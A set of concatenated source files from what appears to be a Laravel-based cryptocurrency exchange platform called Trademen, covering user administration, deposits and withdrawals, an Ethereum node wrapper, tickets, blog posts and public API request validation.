{ if (!$user->is_super_admin && $user->id != Auth::id()) { $parameters['assigned_role'] = $request->get('assigned_role'); $notification = ['user_id' => $user->id, 'message' => __("Your account's role has been changed by admin.")]; $user->update($parameters); } $parameters = $request->only('first_name', 'last_name', 'address'); if ($user->profile()->update($parameters)) { if (isset($notification)) { Notification::create($notification); } return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('User has been updated successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update user')); } public function editStatus(User $user) { $data['user'] = $user->load('profile'); $data['title'] = __('Edit User Status'); $data['walletCount'] = Wallet::where('user_id', $user->id) ->withoutSystemWallet() ->count(); $data['openOrderCount'] = Order::where('user_id', $user->id) ->where('status', STATUS_PENDING) ->count(); return view('core.users.edit_status', $data); } public function updateStatus(UserStatusRequest $request, User $user) { if ($user->id == Auth::id()) { return redirect()->route('admin.users.edit.status', $user->id)->with(RESPONSE_TYPE_WARNING, __('You cannot change your own status.')); } elseif ($user->is_super_admin) { return redirect()->route('admin.users.edit.status', $user->id)->with(RESPONSE_TYPE_WARNING, __("You cannot change primary user's status.")); } $messages = [ 'is_email_verified' => __('Your email verification status has been changed by admin.'), 'is_financial_active' => __("Your account's financial status has been changed by admin."), 'is_accessible_under_maintenance' => __("Your account's maintenance mode access has been changed by admin."), 'status' => __("Your account's status has been changed by admin."), ]; $fields = array_keys($messages); $parameters = $request->only($fields); if (!$user->update($parameters)) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update user status.')); } $date = date('Y-m-d H:s:i'); $notifications = []; foreach ($fields as $field) { if ($user->{$field} != $parameters[$field]) { $notifications[] = [ 'id' => Uuid::uuid4(), 'user_id' => $user->id, 'message' => $messages[$field], 'created_at' => $date, 'updated_at' => $date ]; } } if (!empty($notifications)) { Notification::insert($notifications); } return redirect()->route('admin.users.edit.status', $user->id)->with(RESPONSE_TYPE_SUCCESS, __('User status has been updated successfully.')); } } <file_sep><?php use App\Models\Core\ApplicationSetting; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Cache; class ApplicationSettingsTableSeeder extends Seeder { public function run() { $date_time = date('Y-m-d H:i:s'); $adminSettingArray = [ 'lang' => 'en', 'lang_switcher' => ACTIVE, 'lang_switcher_item' => 'short_code', 'registration_active_status' => STATUS_ACTIVE, 'default_role_to_register' => 'user', 'require_email_verification' => ACTIVE, 'company_name' => 'Trademen', 'company_logo' => 'logo.png', 'company_logo_light' => 'logo-light.png', 'navigation_type' => 2, // 'top_nav' => 0, 'side_nav_fixed' => 0, // 'logo_inversed_primary' => 0, 'no_header_layout' => 0, // 'logo_inversed_secondary' => 0, // 'logo_inversed_sidenav' => 0, 'favicon' => 'favicon.png', 'maintenance_mode' => 0, 'admin_receive_email' => '<EMAIL>', 'display_google_captcha' => INACTIVE, 'exchange_maker_fee' => 0.1, 'exchange_taker_fee' => 0.2, 'is_admin_approval_required' => 0, 'referral' => ACTIVE, 'referral_percentage' => 2, 'trading_price_tolerance' => 10, 'footer_menu_title_1' => 'About Trademen', 'footer_menu_1' => 'footer-nav-one', 'footer_menu_title_2' => 'Products', 'footer_menu_2' => 'footer-nav-two', 'footer_menu_title_3' => 'Social', 'footer_menu_3' => 'footer-nav-three', 'footer_phone_number' => '+8801772473616', 'footer_address' => 'Khulna, Bangladesh.', 'footer_email' => '<EMAIL>', ]; $adminSetting = []; foreach ($adminSettingArray as $key => $value) { $adminSetting[] = [ 'slug' => $key, 'value' => is_array($value) ? json_encode($value) : $value, 'created_at' => $date_time, 'updated_at' => $date_time ]; } ApplicationSetting::insert($adminSetting); Cache::forever("appSettings", $adminSettingArray); } } <file_sep><?php namespace App\Models\Post; use App\Models\Core\User; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Str; use Stevebauman\Purify\Facades\Purify; class Post extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'user_id', 'title', 'slug', 'category_slug', 'content', 'featured_image', 'is_published', 'is_featured', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); $model->slug = Str::slug($model->title); }); static::updating(static function ($model) { $model->slug = Str::slug($model->title); }); } public function user(): BelongsTo { return $this->belongsTo(User::class); } public function postCategory(): BelongsTo { return $this->belongsTo(PostCategory::class, 'category_slug', 'slug'); } public function comments(): HasMany { return $this->hasMany(PostComment::class); } public function getContentAttribute($value): string { return Purify::clean($value); } } <file_sep><?php namespace App\Models\Post; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Str; class PostCategory extends Model { public $incrementing = false; protected $primaryKey = 'slug'; protected $keyType = 'string'; protected $fillable = [ 'name', 'is_active', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::slug($model->name); }); static::updating(static function ($model) { $model->{$model->getKeyName()} = Str::slug($model->name); }); } public function posts(): HasMany { return $this->hasMany(Post::class); } } <file_sep><?php namespace App\Http\Requests\Deposit; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class BankReceiptUploadRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'system_bank_id' => [ 'required', Rule::exists('bank_accounts', 'id')->where(function ($query) { $query->whereNull('user_id')->where('is_active', ACTIVE); }) ], 'receipt' => [ 'required', 'mimes:jpeg,jpg,png', 'max:2048' ] ]; } } <file_sep><?php use App\Http\Controllers\Core\ProductActiveController; use App\Http\Controllers\Guest\AuthController; use App\Http\Controllers\Post\BlogController; use Illuminate\Support\Facades\Route; //Login Route::get('login', [AuthController::class, 'loginForm']) ->name('login'); Route::post('login', [AuthController::class, 'login']) ->name('login.post'); //Registration Route::get('register', [AuthController::class, 'register']) ->name('register.index')->middleware('registration.permission'); Route::post('register/store', [AuthController::class, 'storeUser']) ->name('register.store')->middleware('registration.permission'); //Reset Password Route::get('forget-password', [AuthController::class, 'forgetPassword']) ->name('forget-password.index'); Route::post('forget-password/send-mail', [AuthController::class, 'sendPasswordResetMail']) ->name('forget-password.send-mail'); Route::post('product-activation', [ProductActiveController::class, 'store']) ->name('product-activation'); Route::get('reset-password/{user}', [AuthController::class, 'resetPassword']) ->name('reset-password.index'); Route::post('reset-password/{user}/update', [AuthController::class, 'updatePassword']) ->name('reset-password.update'); <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateBankAccountsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('bank_accounts', function (Blueprint $table) { $table->uuid('id')->primary(); $table->uuid('user_id')->nullable()->index(); $table->unsignedBigInteger('country_id')->nullable(); $table->string('bank_name')->index(); $table->string('iban'); $table->string('swift'); $table->string('reference_number')->nullable(); $table->string('account_holder')->nullable(); $table->string('bank_address')->nullable(); $table->string('account_holder_address')->nullable(); $table->integer('is_verified')->default(INACTIVE); $table->integer('is_active')->default(ACTIVE); $table->timestamps(); $table->foreign('user_id') ->references('id') ->on('users') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('country_id') ->references('id') ->on('countries') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('bank_accounts'); } } <file_sep>"use strict"; var cValMessages = { 'alpha' : 'The :attribute may only contain letters.', 'alphaDash' : 'The :attribute may only contain letters, numbers, dashes and underscores.', 'alphaNum' : 'The :attribute may only contain letters and numbers.', 'alphaSpace' : 'The :attribute may only contain letters and space.', 'between' :{ 'array' : 'The :attribute must have between :min and :max items.', 'file' : 'The :attribute must be between :min and :max kilobytes.', 'integer' : 'The :attribute must be between :min and :max.', 'numeric' : 'The :attribute must be between :min and :max.', 'string' : 'The :attribute must be between :min and :max characters.', }, 'date' : 'The :attribute is not a valid date format.', 'dateTime' : 'The :attribute is not a valid date time format.', 'decimalScale' : 'The :attribute must be an appropriately formatted decimal:other', 'digitsOnly' : 'The :attribute must contain digits only.', 'email' : 'The :attribute must be a valid email address.', 'image' : 'The :attribute must be an image.', 'in' : 'The selected :attribute is invalid.', 'integer' : 'The :attribute must be an integer.', 'max' : { 'array' : 'The :attribute may not have more than :max items.', 'file' : 'The :attribute may not be greater than :max kilobytes.', 'integer' : 'The :attribute may not be greater than :max.', 'numeric' : 'The :attribute may not be greater than :max.', 'string' : 'The :attribute may not be greater than :max characters.', }, 'mimetypes' : 'The :attribute must be a file of type: :values.', 'min' : { 'array' : 'The :attribute must have at least :min items.', 'file' : 'The :attribute must be at least :min kilobytes.', 'integer' : 'The :attribute must be at least :min.', 'numeric' : 'The :attribute must be at least :min.', 'string' : 'The :attribute must be at least :min characters.', }, 'notIn' : 'The selected :attribute is invalid.', 'numeric' : 'The :attribute must be a number.', 'required' : 'The :attribute field is required.', 'requiredIf' : { 'field' : 'The :attribute field is required when :other field is not empty.', 'fieldWithValue' : 'The :attribute field is required when :other field is equal to :value.' }, 'requiredWithout' : 'The :attribute field is required when :other field is empty.', 'same' : 'The :attribute and :other must match.', 'strongPassword' : 'The :attribute must contain at least 1 uppercase, 1 lowercase, 1 number and 1 special characters.', 'time' : 'The :attribute is not a valid time format.', 'url' : 'The :attribute is not a valid url.', } <file_sep><?php require_once('permission/admin.php'); require_once('permission/user.php'); require_once('permission/coin.php'); <file_sep><?php namespace App\Services\Api; use Exception; use GuzzleHttp\Client; class EthereumApi { public $client; public $stockItem; public function __construct() { $url = settings('eth_url', true); $url = $url ? : '127.0.0.1:8545'; $this->client = new Ethereum($url); } public function setStockItem(StockItem $stockItem) { $this->stockItem = $stockItem; return $this; } public function generateAddress() { try { $passphrase = random_string(6); $address = $this->client->personal()->newAccount($passphrase); if ($address) { return [ 'error' => 'ok', 'result' => [ 'address' => $address->toString(), 'passphrase' => $passphrase ], ]; } } catch (Exception $exception) { logs()->error($exception->getMessage()); } return ['error' => 'Failed to generate address.']; } public function getTransactionDetailsByHash($txid) { $response = []; $currentBlockNumber = $this->getBlockNumber(); $transaction = $this->getTxnInfoByTxnId($txid); $status = $this->getTransactionStatusByHash($txid); if (!empty($transaction)) { $amount = $transaction->value()->amount(); $receipt = $this->getTransactionReceiptByTxnId($txid); $response = [ 'sender_address' => $transaction->from()->toString(), 'receiver_address' => $transaction->to()->toString(), 'contract_address' => $transaction->contractAddress() ? $transaction->contractAddress()->toString() : null, 'transaction_hash' => $txid, 'block_number' => $transaction->blockNumber(), 'confirmation' => (int)($currentBlockNumber - $transaction->blockNumber()), 'value' => Util::toEther($amount), 'status' => (int)$status ]; } return $response; } public function getBlockNumber() { return $this->client->eth()->blockNumber(); } public function getTxnInfoByTxnId($txid) { return $this->client->eth()->getTransactionByHash(new TransactionHash($txid)); } public function getTransactionStatusByHash($txnid) { $params = [ 'query' => [ 'module' => 'transactions', 'action' => 'getstatus', 'txhash' => $txnid, 'apikey' => settings('etherscan_api_key') ] ]; $client = new Client(); $response = $client->request('GET', get_etherscan_api_url(settings('etherscan_network')), $params); $response = json_decode($response->getBody()->getContents()); if ($response->status && !$response->result->isError) { return true; } return false; } public function getTransactionReceiptByTxnId($txid) { return $this->client->eth()->getTransactionReceipt(new TransactionHash($txid)); } public function getTxnList($limit) { return null; } public function sendToAddress($address, $amount) { try { if (empty($this->stockItem)) { throw new Exception('Set stock item before call this method.'); } $nodeBalance = $this->client->eth()->getBalance(new Address($this->stockItem->systemWallet->address), new BlockNumber())->toEther(); if (bccomp($nodeBalance, $amount) < 0) { throw new Exception('Insufficient balance to send.'); } if ($this->stockItem->systemWallet->address && $this->stockItem->systemWallet->passphrase) { $gasPrice = $this->client->eth()->gasPrice()->amount(); $networkFee = Util::toEther(bcmul($this->stockItem->minimum_gas_limit, $gasPrice, 0), 18); $transferAmount = bcsub($amount, $networkFee); $transaction = new Transaction( new Address($this->stockItem->systemWallet->address), new Address($address), null, $this->stockItem->minimum_gas_limit, $gasPrice, Util::toWei($transferAmount, 'ether') ); $response = $this->client->personal()->sendTransaction($transaction, $this->stockItem->systemWallet->passphrase); if ($response) { return [ 'error' => 'ok', 'result' => [ 'txn_id' => $response->toString(), 'network_fee' => $networkFee ], ]; } } } catch (Exception $exception) { return ['error' => $exception->getMessage()]; } return ['error' => 'Failed to send.']; } public function validateIPN($post_data, $server_data) { return null; } public function getBlockByNumber($number) { return $this->client->eth()->getBlockByNumber(new BlockNumber($number), true); } public function getGasPrice() { return $this->client->eth()->gasPrice()->amount(); } public function moveToSystemAddress($address, $amount, $networkFee, $passphrase) { if (empty($this->stockItem)) { return ['error' => 'Set stock item before call this method.']; } $transaction = new Transaction( new Address($address), new Address($this->stockItem->systemWallet->address), null, $this->stockItem->minimum_gas_limit, null, Util::toWei($amount, 'ether') ); $response = $this->client->personal()->sendTransaction($transaction, $passphrase); if (!empty($response)) { return ['tx_id' => $response->toString()]; } return ['error' => 'Failed to send.']; } public function getTxnInfoByAddress($address) { return null; } } <file_sep><?php namespace App\Http\Controllers\Ticket; use App\Http\Controllers\Controller; use App\Http\Requests\Core\TicketCommentRequest; use App\Models\Ticket\Ticket; use App\Services\Core\DataTableService; use App\Services\Core\TicketService; use Illuminate\Http\{RedirectResponse, Request}; use Illuminate\Support\Facades\{Auth, DB}; use Illuminate\View\View; class AdminTicketController extends Controller { public $ticketService; public function __construct(TicketService $ticketService) { $this->ticketService = $ticketService; } public function index(): View { $searchFields = [ ['id', __('Ticket ID')], ['title', __('Heading')], ]; $orderFields = [ ['id', __('Ticket ID')], ['title', __('Heading')], ['created_at', __('Date')], ]; $filters = [ ['status', __('Status'), ticket_status()], ['assigned_to', __('Assigned To'), 'preset', null, [ [__('Only Me'), '=', Auth::id()] ] ] ]; $queryBuilder = Ticket::with('assignedUser.profile') ->when(!Auth::user()->is_super_admin, function ($query) { $query->whereNull('assigned_to') ->orWhere('assigned_to', Auth::id()); }) ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filters) ->create($queryBuilder); $data['title'] = __('Tickets'); return view('ticket.admin.index', $data); } public function show(Ticket $ticket): View { return view('ticket.admin.show', $this->ticketService->show($ticket)); } public function comment(TicketCommentRequest $request, Ticket $ticket): void { $this->ticketService->comment($request, $ticket); } public function download(Ticket $ticket, string $fileName): void { $this->ticketService->download($ticket, $fileName); } public function assign(Request $request, Ticket $ticket): RedirectResponse { $request->validate([ 'assigned_to' => 'required_with:from_form|exists:users,id' ]); if ($ticket->status != STATUS_OPEN) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('This ticket cannot be assigned.')); } $params = [ 'assigned_to' => $request->get('assigned_to', Auth::id()), 'status' => STATUS_PROCESSING ]; if ($ticket->update($params)) { return redirect()->route('admin.tickets.index')->with(RESPONSE_TYPE_SUCCESS, __('The ticket has been assigned successfully')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to assign ticket.')); } public function close(Ticket $ticket): void { $this->ticketService->close($ticket); } public function resolve(Ticket $ticket): RedirectResponse { if ($ticket->changeStatus(STATUS_RESOLVED)) { return redirect()->route('admin.tickets.index')->with(RESPONSE_TYPE_SUCCESS, __('The ticket has been resolved successfully')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to resolve the ticket.')); } } <file_sep>## Trademen -- The Ultimate Exchange Solutions #### Admin Features * Role Management * Menu Manager * Application Settings * Ticket Management * User Management * Wallet Management * Wallet Pair Management * KYC Management * Withdrawal Management * Dashboard #### User Features * Profile Management * Preference Setting * KYC Verification * Google 2 FA * My Wallet * Deposit * Deposit History * Withdrawal * Withdrawal History * Dashboard * My Orders * Market Buy/Sell * Limit Buy/Sell * Stop Limit Buy/Sell * Transaction History * Activity Log <file_sep><?php namespace App\Http\Requests\Coin; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class CoinApiRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $coin = $this->route('coin'); $paymentServices = ($coin->type === COIN_TYPE_FIAT) ? fiat_apis() : crypto_apis(); $rules = [ 'api' => ['required'], 'api.*' => Rule::in(array_keys($paymentServices)) ]; if ($coin->type == COIN_TYPE_FIAT) { if (in_array(API_BANK, $this->get('api'))) { $rules['banks'] = ['required']; $rules['banks.*'] = [ Rule::exists('bank_accounts', 'id')->where(function ($query) { $query->whereNull('user_id'); }) ]; } } return $rules; } public function attributes() { return [ 'api.*' => __('api'), 'banks.*' => __('bank(s)'), ]; } } <file_sep><?php use App\Models\Core\Notice; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Cache; class NoticesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Cache::forget('notices'); factory(Notice::class, 3)->create(); } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Models\Core\Notification; use App\Services\Core\DataTableService; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; use Illuminate\View\View; class NotificationController extends Controller { public function index(): View { $data['title'] = __('Notices'); $searchFields = [ ['data', __('Notice')], ]; $orderFields = [ ['id', __('Serial')], ['data', __('Notice')], ['created_at', __('Date')], ['read_at', __('Status')], ]; $queryBuilder = Notification::where('user_id', Auth::id())->orderBy('id', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('core.notifications.index', $data); } public function markAsRead(Notification $notification): RedirectResponse { if ($notification->markAsRead()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The notice has been marked as read.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to mark as read.')); } public function markAsUnread(Notification $notification): RedirectResponse { if ($notification->markAsUnread()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The notice has been marked as unread.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to mark as unread.')); } } <file_sep>const mix = require('laravel-mix'); // Backend JS/CSS mix.js('resources/js/app.js', 'public/js').extract(['vue', 'lodash']); mix.js('resources/js/language.js', 'public/js'); mix.sass('resources/sass/app.scss','public/css'); mix.sass('resources/sass/components/core/menu-builder.scss', 'public/css'); <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateCoinsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('coins', function (Blueprint $table) { $table->string('symbol', 10)->primary(); $table->string('name', 100); $table->string('type', 20); $table->string('icon')->nullable(); $table->boolean('exchange_status')->default(ACTIVE); //Deposit Fields $table->boolean('deposit_status')->default(INACTIVE); $table->decimal('deposit_fee', 13, 2)->unsigned()->default(0); $table->string('deposit_fee_type', 20)->default(FEE_TYPE_FIXED); $table->decimal('minimum_deposit_amount', 19, 8)->unsigned()->nullable(); $table->decimal('total_deposit', 19, 8)->unsigned()->default(0); $table->decimal('total_deposit_fee', 19, 8)->unsigned()->default(0); //Withdrawal Fields $table->boolean('withdrawal_status')->default(INACTIVE); $table->decimal('withdrawal_fee', 13, 2)->unsigned()->default(0); $table->string('withdrawal_fee_type', 20)->default(FEE_TYPE_FIXED); $table->decimal('minimum_withdrawal_amount', 19, 8)->unsigned()->nullable(); $table->decimal('daily_withdrawal_limit', 19, 8)->unsigned()->nullable(); $table->decimal('total_withdrawal', 19, 8)->unsigned()->default(0); $table->decimal('total_withdrawal_fee', 19, 8)->unsigned()->default(0); $table->json('api')->nullable(); $table->boolean('is_active')->default(ACTIVE); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('coins'); } } <file_sep><?php namespace App\Http\Controllers\Withdrawal; use App\Http\Controllers\Controller; use App\Http\Requests\Withdrawal\WithdrawalRequest; use App\Jobs\Withdrawal\WithdrawalProcessJob; use App\Models\BankAccount\BankAccount; use App\Models\Wallet\Wallet; use App\Models\Withdrawal\WalletWithdrawal; use App\Override\Logger; use App\Services\Core\DataTableService; use Exception; use Illuminate\Http\Request; use Illuminate\Support\Arr; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class SystemWithdrawalController extends Controller { public function index(Wallet $wallet): View { $searchFields = [ ['wallet_withdrawals.id', __('Reference ID')], ['amount', __('Amount')], ['address', __('Address')], ['txn_id', __('Transaction ID')], ['symbol', __('Wallet')], ]; $orderFields = [ ['wallet_withdrawals.id', __('Reference ID')], ['created_at', __('Date')], ]; $filterFields = [ ['wallet_withdrawals.status', __('Status'), transaction_status()], ]; $queryBuilder = $wallet->withdrawals() ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); $data['wallet'] = $wallet; $data['title'] = __(':coin Withdrawal History', ['coin' => $wallet->symbol]); return view('withdrawal.admin.history.index', $data); } public function create(Wallet $wallet) { $data['title'] = __('Withdraw :coin', ['coin' => $wallet->coin->name]); $data['wallet'] = $wallet; if ($data['wallet']->coin->type == COIN_TYPE_FIAT) { $data['apis'] = Arr::only(fiat_apis(), $wallet->coin->api['selected_apis'] ?? []); $data['bankAccounts'] = BankAccount::where('user_id', Auth::id()) ->where('is_active', ACTIVE) ->where('is_verified', VERIFIED) ->pluck('bank_name', 'id'); } return view("withdrawal.admin.create", $data); } public function store(WithdrawalRequest $request, $wallet) { if ($wallet->coin->type === COIN_TYPE_CRYPTO) { $wallet->getService(); if (is_null($wallet->service)) { return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __("Unable to withdraw amount.")); } else if (!$wallet->service->validateAddress($request->get('address'))) { return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __("Invalid address.")); } } $params = [ 'user_id' => Auth::id(), 'wallet_id' => $wallet->id, 'symbol' => $wallet->symbol, 'address' => $request->get('address'), 'amount' => $request->get('amount'), 'api' => $wallet->coin->type === COIN_TYPE_CRYPTO ? $wallet->coin->payment_service['methods'] : $request->get('api'), 'status' => STATUS_COMPLETED, ]; DB::beginTransaction(); try { if (!$wallet->decrement('primary_balance', $request->get('amount'))) { throw new Exception(__('Failed to update wallet.')); } $withdrawal = WalletWithdrawal::create($params); if (empty($withdrawal)) { throw new Exception(__('Failed to create withdrawal.')); } } catch (Exception $exception) { DB::rollBack(); Logger::error($exception, "[FAILED][Withdrawal][store]"); return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, $exception->getMessage()); } DB::commit(); return redirect() ->route('admin.system-wallets.withdrawal.show', ['wallet' => $wallet->symbol, 'withdrawal' => $withdrawal]) ->with(RESPONSE_TYPE_SUCCESS, __("Withdrawal has been placed successfully.")); } public function show(Wallet $wallet, WalletWithdrawal $withdrawal) { $wallet->load('coin'); $data['wallet'] = $wallet; $data['withdrawal'] = $withdrawal; $data['title'] = __("Withdrawal Details"); return view('withdrawal.admin.show', $data); } public function confirmation(Wallet $wallet, WalletWithdrawal $withdrawal, Request $request) { if (!$request->hasValidSignature()) { abort(401, __("Link is expired!!.")); } else if (!Auth::check()) { abort(401, __("You are not authorized for this action.")); } else if (Auth::check() && Auth::id() != $withdrawal->user_id) { abort(401, __("You are not authorized for this action.")); } else if ($wallet->id != $withdrawal->wallet_id) { abort(401, __("You are not authorized for this action.")); } if (settings('is_email_confirmation_required') && settings('is_admin_approval_required')) { $withdrawal->update(['status' => STATUS_REVIEWING]); $message = __("Withdrawal has been confirmed successfully. It will require admin approval for further process."); } else { WithdrawalProcessJob::dispatch($withdrawal); $message = __("Withdrawal has been confirmed successfully. It will process shortly."); } return redirect() ->route('user.wallets.withdrawals.show', ['wallet' => $withdrawal->symbol, 'withdrawal' => $withdrawal->id]) ->with(RESPONSE_TYPE_SUCCESS, $message); } } <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Http\Requests\Post\CommentRequest; use App\Models\Post\Post; use App\Models\Post\PostComment; use Illuminate\Http\JsonResponse; use Illuminate\Support\Facades\Auth; class ReplyCommentController extends Controller { public function store(CommentRequest $request, Post $post, PostComment $comment): JsonResponse { $attributes = $request->only('content'); $attributes['post_id'] = $post->id; $attributes['post_comment_id'] = $comment->id; $attributes['user_id'] = Auth::id(); if (PostComment::create($attributes)) { return response()->json(['jsonResponse' => ['status' => RESPONSE_TYPE_SUCCESS, 'message' => __('Successfully reply added!')]]); } return response()->json(['jsonResponse' => [RESPONSE_TYPE_SUCCESS, __('Failed to add reply!')]]); } } <file_sep><?php namespace App\Services\Core; use App\Models\Core\UserActivity; use Jenssegers\Agent\Agent; class UserActivityService { public function store(string $userId, string $note): bool { $agent = new Agent(); $device = null; $agent->isDesktop() ? $device = 'desktop' : null; $agent->isMobile() ? $device = 'mobile' : null; $agent->isRobot() ? $device = 'robot' : null; $agent->isTablet() ? $device = 'tablet' : null; $agent->isPhone() ? $device = 'phone' : null; $data = [ 'user_id' => $userId, 'device' => $device, 'browser' => $agent->browser() . ' version-' . $agent->version($agent->browser()), 'operating_system' => $agent->platform(), 'location' => geoip()->getLocation()->country, 'ip_address' => geoip()->getClientIP(), 'note' => $note, ]; return UserActivity::create($data) ? true : false; } public function getUserActivities(string $user): array { $searchFields = [ ['note', __('Activity')], ['device', __('Device')], ['location', __('location')], ['browser', __('Browser')], ['browser', __('Browser')], ['operating_system', __('Operating System')], ]; $orderFields = [ ['note', __('Activity')], ['device', __('Device')], ['location', __('location')], ['browser', __('Browser')], ['operating_system', __('Operating System')], ['created_at', __('Date')], ]; $queryBuilder = UserActivity::where('user_id', $user) ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return $data; } } <file_sep><?php namespace App\Http\Requests\Coin; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class CoinPairRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $coinPairRequest = [ 'trade_coin' => [ 'required', Rule::exists('coins', 'symbol')->where('is_active', ACTIVE) ], 'base_coin' => [ 'required', 'different:trade_coin', Rule::exists('coins', 'symbol')->where('is_active', ACTIVE) ], 'last_price' => [ 'required', 'numeric', 'between:0.00000001, 99999999999.99999999' ], 'is_active' => [ 'required', Rule::in(array_keys(active_status())) ], ]; if ($this->isMethod('POST')) { $coinPairRequest['is_default'] = [ 'required', Rule::in(array_keys(active_status())) ]; } return $coinPairRequest; } } <file_sep><?php namespace App\Http\Requests\Post; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class PostRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'title' => [ 'required', Rule::unique('posts', 'title')->ignore($this->route()->parameter('post')), 'max:255' ], 'category_slug' => [ 'required', Rule::exists('post_categories', 'slug'), ], 'editor_content' => [ 'required', ], 'featured_image' => [ 'image', 'max:2048', ], 'is_published' => [ 'required', Rule::in(array_keys(active_status())), ], 'is_featured' => [ 'required', Rule::in(array_keys(active_status())), ], ]; } public function attributes() { return [ 'editor_content' => __('content') ]; } } <file_sep><?php namespace App\Http\Requests\Api; use Illuminate\Contracts\Validation\Validator; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Http\Exceptions\HttpResponseException; use Illuminate\Validation\Rule; class PublicApiRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { $periods = [ '60m' => now()->subDays(365 * 5)->unix(), '12m' => now()->subDays(365)->unix(), '3m' => now()->subDays(120)->unix(), '1m' => now()->subDays(30)->unix(), '7d' => now()->subDays(7)->unix(), '3d' => now()->subDays(3)->unix(), '1d' => now()->subDay()->unix(), ]; if ( $this->command === 'returnChartData' && isset($periods[$this->get('start')]) ) { $start = $periods[$this->get('start')]; $this->merge([ 'start' => (int)($start / $this->get('interval', 300)) * $this->get('interval', 300) ]); } return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'command' => [ 'required', Rule::in([ 'returnTicker', 'returnOrderBook', 'returnTradeHistory', 'returnChartData', ]) ] ]; if ($this->command === 'returnTicker' && $this->has('tradePair')) { $rules['tradePair'] = [ Rule::exists('coin_pairs', 'name')->where('is_active', ACTIVE) ]; } else if ($this->command === 'returnOrderBook') { $rules['tradePair'] = [ 'required', Rule::exists('coin_pairs', 'name')->where('is_active', ACTIVE) ]; } else if ($this->command === 'returnTradeHistory') { $rules['tradePair'] = [ 'required', Rule::exists('coin_pairs', 'name')->where('is_active', ACTIVE) ]; $rules['start'] = [ 'nullable', 'integer' ]; $rules['end'] = [ 'nullable', 'integer', 'gt:start' ]; } else if ($this->command === 'returnChartData') { $rules['tradePair'] = [ 'required', Rule::exists('coin_pairs', 'name')->where('is_active', ACTIVE) ]; $rules['interval'] = [ 'integer', Rule::in([300, 900, 1800, 7200, 14400, 21600, 86400]) ]; $rules['start'] = [ 'required', 'integer', ]; $rules['end'] = [ 'integer', 'gt:start' ]; } return $rules; } protected function failedValidation(Validator $validator) { throw new HttpResponseException(response()->json($validator->errors(), 422)); } } <file_sep><?php namespace 